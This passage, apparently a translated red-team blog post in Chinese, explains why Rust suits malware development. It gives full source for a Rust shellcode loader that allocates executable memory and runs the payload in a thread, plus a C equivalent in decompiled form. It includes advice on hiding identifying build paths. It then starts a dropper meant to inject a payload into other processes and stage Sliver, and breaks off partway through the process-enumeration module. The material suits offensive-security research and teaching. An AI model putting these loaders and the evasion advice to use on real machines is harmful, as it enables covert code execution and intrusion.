Rust for Malware Development
引言
我的2025年新年决心之一是深化对恶意软件开发的理解,以补充我在Web应用和API渗透测试中获取初始立足点的经验。我强烈希望提升自身能力,以更好地模拟真实的对抗策略。对于恶意软件开发,我选择Rust作为主要编程语言,因其固有的反分析特性——允许开发更具规避性的工具。本文将比较用Rust和C开发恶意软件的差异,并通过一个简单的恶意软件投放器进行演示。
更新:新增播客访谈
除了对Rust用于恶意软件的深入探索,Bishop Fox安全顾问Nick Cerne最近在CyberWire的Research Saturday播客中讨论了他的研究。该集深入探讨了使用Rust创建规避性恶意软件工具的细微差别及其对逆向工程带来的挑战。您可以在此收听完整对话:Crafting malware with modern metals – Research Saturday Ep. 373。
Rust与C语言的对比分析
此时,您可能在想——为什么选择Rust?在恶意软件开发中,使用Rust相比传统语言如C或C++有什么优势?
近年来,诸如Go、Nim和Rust等语言在恶意软件作者中越来越受欢迎,这似乎主要受两个假设驱动:
- 用这些语言编译的二进制文件比C/C++对应物更难进行逆向工程或分析。
- 用非传统语言开发的恶意软件更可能绕过基于签名的检测机制。
2023年,罗切斯特理工学院发表了一篇论文,旨在通过对Rust和C/C++开发的恶意软件进行比较分析来证明或反驳这些假设。研究结果总结如下:
- Rust二进制文件的大小显著大于C/C++对应物,这可能增加逆向工程的工作量和复杂性。
- 自动化恶意软件分析工具在分析Rust编程语言编译的恶意软件时产生更多误报和漏报。
- 现状逆向工程工具如Ghidra和IDA Free在反汇编Rust二进制文件方面不如C/C++做得好。
为了探索这些结果,我们可以分析并比较功能相同的Shellcode加载器样本。具体来说,一个用Rust开发,另一个用C开发。在高层次上,我们的恶意软件样本将执行以下操作:
- 从启动calc.exe的文件中读取原始Shellcode字节。
- 使用Windows API在本地进程的内存中写入并执行Shellcode。
例如,Rust代码片段如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
System::{
Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
},
Foundation::CloseHandle
};
fn main() {
/* 将Shellcode读入payload_vec */
let mut shellcode_bytes = File::open("shellcode/calc.bin").unwrap();
let mut payload_vec = Vec::new();
shellcode_bytes.read_to_end(&mut payload_vec);
unsafe {
/* 在本地进程中分配内存 */
let l_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/* 将Shellcode复制到分配的内存 */
ptr::copy(payload_vec.as_ptr(), l_address as *mut u8, payload_vec.len());
/* 修改内存保护 */
VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mut PAGE_PROTECTION_FLAGS(0));
/* 创建本地线程并运行Shellcode */
let h_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap();
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
};
println!("[!] Success! Executed shellcode.");
}
|
代码首先从shellcode/calc.bin读取Shellcode,并将结果存储在缓冲区中。随后,代码根据缓冲区的大小在本地进程中分配内存块。然后将Shellcode复制到分配的内存中。最后,修改内存区域的保护权限,并在新线程中执行Shellcode。为简洁起见,C语言的等效代码可在我们的Github上参考。
编译两个程序后,我们可以立即看到Rust程序明显更大:
1
2
3
4
5
6
|
PS > dir
...省略...
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/18/2025 5:19 PM 73374 c_malware.exe
-a---- 2/18/2025 4:10 PM 155136 rust_malware.exe
|
编译的C程序文件大小为71.7 KB,而Rust程序的发布构建大小几乎翻倍,达到151.5 KB。使用默认编译器优化设置时,Rust会在编译时静态链接依赖项。这意味着程序所需的所有库都直接编译到可执行文件中,包括大部分Rust标准和运行时库。相比之下,C通常使用动态链接,利用系统上安装的外部库。虽然较大的文件大小可能被视为缺点,但它们也可能增加逆向工程Rust恶意软件的工作量和复杂性。
我们还可以通过查看两个程序的Ghidra反编译输出来确定Rust恶意软件是否更难逆向工程。为简洁起见,我们将使用Ghidra输出,并不在分析中包含IDA Free。现在让我们看看Rust恶意软件的反编译main函数,与上面的代码进行比较。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
uint uVar1;
BOOL BVar2;
longlong extraout_RAX;
LPTHREAD_START_ROUTINE lpStartAddress;
undefined **hHandle;
int iVar3;
char *pcVar4;
longlong *plVar5;
SIZE_T SVar6;
longlong alStack_80 [3];
DWORD DStack_64;
undefined **ppuStack_60;
undefined8 uStack_58;
undefined8 *puStack_50;
undefined **ppuStack_48;
undefined8 uStack_40;
undefined8 uStack_38;
undefined4 uStack_30;
undefined4 uStack_2c;
undefined4 uStack_28;
undefined2 uStack_24;
undefined2 uStack_22;
undefined8 uStack_18;
uStack_18 = 0xfffffffffffffffe;
ppuStack_48 = (undefined **)((ulonglong)ppuStack_48 & 0xffffffff00000000);
uStack_40._0_4_ = 0;
uStack_40._4_4_ = 0;
uStack_38 = 0;
uStack_30 = 7;
uStack_2c = 0;
uStack_24 = 0;
uStack_28 = 1;
pcVar4 = "shellcode/shellcode.binsrc\\main.rs";
uVar1 = std::fs::OpenOptions::_open((char *)&ppuStack_48,0x4001c470,0x17);
if ((uVar1 & 1) != 0) {
ppuStack_48 = (undefined **)pcVar4;
/* WARNING: Subroutine does not return */
core::result::unwrap_failed();
}
alStack_80[0] = 0;
alStack_80[1] = 1;
alStack_80[2] = 0;
plVar5 = alStack_80;
ppuStack_60 = (undefined **)pcVar4;
std::fs::impl$8::read_to_end();
if ((extraout_RAX != 0) && (((uint)plVar5 & 3) == 1)) {
uStack_58 = *(undefined8 *)((longlong)plVar5 + -1);
puStack_50 = *(undefined8 **)((longlong)plVar5 + 7);
if ((code *)*puStack_50 != (code *)0x0) {
(*(code *)*puStack_50)(uStack_58);
}
if (puStack_50[1] != 0) {
std::alloc::__default_lib_allocator::__rust_dealloc();
}
std::alloc::__default_lib_allocator::__rust_dealloc();
}
lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,alStack_80[2],0x3000,4);
DStack_64 = 0;
SVar6 = alStack_80[2];
BVar2 = VirtualProtect(lpStartAddress,alStack_80[2],0x40,&DStack_64);
iVar3 = (int)SVar6;
if (BVar2 == 0) {
ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
uStack_40._0_4_ = iVar3;
if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
_<>::drop(&ppuStack_48);
}
}
iVar3 = 0;
hHandle = (undefined **)
CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);
if ((longlong)hHandle + 1U < 2) {
hHandle = (undefined **)windows_result::error::Error::from_win32();
if (iVar3 != 0) {
uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
ppuStack_48 = hHandle;
/* WARNING: Subroutine does not return */
core::result::unwrap_failed();
}
}
iVar3 = -1;
WaitForSingleObject(hHandle,0xffffffff);
BVar2 = CloseHandle(hHandle);
if (BVar2 == 0) {
ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
_<>::drop(&ppuStack_48);
}
}
ppuStack_48 = &PTR_s_[!]_Success!_Executed_shellcode._14001c4e8;
uStack_40 = 1;
uStack_38 = 8;
uStack_30 = 0;
uStack_2c = 0;
uStack_28 = 0;
uStack_24 = 0;
uStack_22 = 0;
std::io::stdio::_print();
if (alStack_80[0] != 0) {
std::alloc::__default_lib_allocator::__rust_dealloc();
}
CloseHandle(ppuStack_60);
return;
}
|
上面的反编译输出难以阅读和理解。Ghidra无法正确反编译Rust程序的原因可能如下:
- Ghidra尝试将Rust程序反编译为伪C;语言间内存管理和优化的差异导致难以理解的伪代码。
- rustc在编译期间执行多项优化,导致函数边界不清晰,且汇编代码(ASM)高度优化,难以解释。
第二点可以通过比较以下Rust程序在不同编译器优化级别下的ASM来观察:
1
2
3
4
5
6
7
8
|
fn add(a: i32, b: i32) -> i32 {
a + b
}
fn main() {
let x = add(3, 4);
println!("{}", x);
}
|
我们的程序简单地定义了一个函数add,并在main函数中调用它,传入两个参数。接下来,我们可以使用以下rustc命令将程序编译为未优化和优化的ASM:
1
2
|
PS > rustc -C opt-level=0 --emit asm -o unoptimized.s src/main.rs
PS > rustc -C opt-level=3 --emit asm -o optimized.s src/main.rs
|
我们可以使用vim -d unoptimized.s optimized.s比较优化和未优化的ASM:
如左侧优化ASM所示,add函数的符号定义缺失,表明该函数可能在编译时被rustc优化内联。
同样值得注意的是,与C++类似,Rust执行符号名称修饰,具有Rust特定的语义。然而,Ghidra在11.0版本中引入了Rust符号名称解修饰。在11.0版本之前,原生Rust不支持名称解修饰,这使得逆向工程更加困难。但自那时以来已取得重大进展,在反编译输出中可以看到尝试解修饰符号的字符串,如std::fs::impl$8::read_to_end();,这对应于我们原始代码中的shellcode_bytes.read_to_end(&mut payload_vec);。
相比之下,反编译的C程序更容易审查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
DWORD local_34;
HANDLE local_30;
LPTHREAD_START_ROUTINE local_28;
void *local_20;
int local_14;
FILE *local_10;
__main();
local_10 = fopen("shellcode/calc.bin","rb");
fseek(local_10,0,2);
local_14 = ftell(local_10);
rewind(local_10);
local_20 = malloc((longlong)local_14);
fread(local_20,1,(longlong)local_14,local_10);
fclose(local_10);
local_28 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(longlong)local_14,0x3000,4);
memcpy(local_28,local_20,(longlong)local_14);
free(local_20);
VirtualProtect(local_28,(longlong)local_14,0x40,&local_34);
local_30 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_28,(LPVOID)0x0,0,(LPDWORD)0x0);
WaitForSingleObject(local_30,0xffffffff);
CloseHandle(local_30);
printf("[!] Success! Executed shellcode.\n");
return 0;
}
|
C程序的反编译输出比Rust对应物更接近源代码。此外,在Ghidra中,关键函数和变量在C程序的符号树中更容易识别。
一个重要的操作安全(OPSEC)考虑是,Rust会在编译的二进制文件中包含绝对文件路径,主要用于调试目的。因此,如果OPSEC对您很重要,在不会暴露识别特征的环境中编译是个好主意。
1
2
3
|
$ strings ./rust_malware.exe | grep Nick
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs
|
总之,在开发恶意软件时,Rust可能是C/C++的一个很好的替代品。虽然Ghidra的11.0版本标志着在反编译和分析Rust二进制文件方面迈出了重要一步,但由于函数内联和rustc在编译时进行的其他优化,审查Rust程序的反编译输出仍然很困难。此外,较大的结果二进制文件可能使分析Rust恶意软件比C对应物更耗时。看到Ghidra团队或开源社区未来会做出哪些改进以使Rust恶意软件的静态分析更容易,将会很有趣。
开发Rust恶意软件投放器
现在有了一些确认Rust是恶意软件开发的可靠选择,让我们构建一个投放器来演示。投放器是一种旨在将额外恶意软件安装到计算机上的恶意软件形式。出于我们的目的,我们将开发一个执行以下操作的投放器:
- 枚举目标上的进程以注入我们的载荷
- 使用文件映射注入技术执行载荷
- 通过HTTPS暂存Sliver
请注意,以下恶意软件并不全面,从OPSEC和规避的角度来看,可以进行多项改进。以下代码片段仅用于说明Rust如何用于恶意软件开发。
首先,我们将初始化Rust项目并创建第一个模块enumerate_processes.rs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
use windows::{
Win32::System::ProcessStatus::EnumProcesses,
Win32::Foundation::{CloseHandle, HMODULE},
Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
Win32::System::ProcessStatus::{GetModuleBaseNameW}
};
pub fn get_process_pids() -> Vec<u32> {
/* 以合理的缓冲区大小开始存储我们的PID */
let mut pids = vec![0u32; 1024];
let mut cb = 0u32;
unsafe {
/* 循环动态调整缓冲区大小(如果太小) */
loop {
if EnumProcesses(pids.as_mut_ptr(), pids.len() as u32, &mut cb).is_err() {
/* 静默失败 */
return vec![];
};
/* 通过写入的字节数识别PID数量 */
let num_pids = (cb as usize) / size_of::<u32>();
/* 如果缓冲区大于PID数量 */
if num_pids < pids.len() {
pids.truncate(num_pids);
return pids;
}
pids.resize(pids.len() * 2, 0);
}
}
}
pub fn get_process_name(pid: u32) -> String {
|